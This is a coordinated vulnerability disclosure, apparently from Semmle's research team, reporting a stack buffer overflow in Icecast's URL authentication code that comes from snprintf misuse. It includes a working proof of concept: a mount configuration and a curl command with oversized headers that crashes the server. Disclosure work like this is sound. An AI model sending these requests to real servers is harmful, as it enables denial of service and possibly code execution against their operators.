GitLab

Hello,

I would like to report a security vulnerability in the Icecast server.

The bug

url_add_client in auth_url.c contains this call inside a loop:

post_offset += snprintf(post + post_offset,
                        sizeof(post) - post_offset,
                        "&%s%s=%s",
                        url->prefix_headers ? url->prefix_headers : "",
                        cur_header, header_valesc);

If the string to be written is longer than sizeof(post) - post_offset, snprintf will truncate the string, but will return the number of bytes it would have written if the buffer were large enough. This means that post_offset is incremented to be larger than sizeof(post), and any subsequent iteration of the loop will write beyond the end of the buffer.

Proof of concept

I configured a mount using URL authentication that forwards two headers:

<mount type="normal">
  <mount-name>/auth_url.ogg</mount-name>
  <authentication type="url">
    <option name="headers" value="x-foo,x-bar"/>
    ...
  </authentication>
</mount>

My Icecast server was running on localhost, port 8000, and then I ran the following Bash script:

foo=$(python -c "print('a' * 3950)")
bar=123456789123456789
curl -H "x-foo: $foo" -H "x-bar: $bar" http://localhost:8000/auth_url.ogg

The x-foo header was truncated, but it caused postoffset to be incremented beyond the size of the buffer, as described above. The subsequent handling of the x-bar header overwrote other stack contents, causing my Icecast server to crash:

*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

By controlling the length of the x-foo header, and the contents of the x-bar header, it seems likely that remote code execution would be possible.

Related bug

Our automated analysis highlighted this bug, and another similar misuse of snprintf in format_prepare_headers in format.c, but I did not investigate whether that one would be exploitable.

Those analysis results are visible here: https://lgtm.com/projects/g/xiph/Icecast-Server/alerts/?mode=tree&ruleFocus=1505913226124

Disclosure

Please let me know when you have fixed the vulnerability, so that we can coordinate our disclosure with yours. For reference, here is a link to our vulnerability disclosure policy: https://lgtm.com/security

Thanks!

--Nick Rolfe, Semmle Security Research Team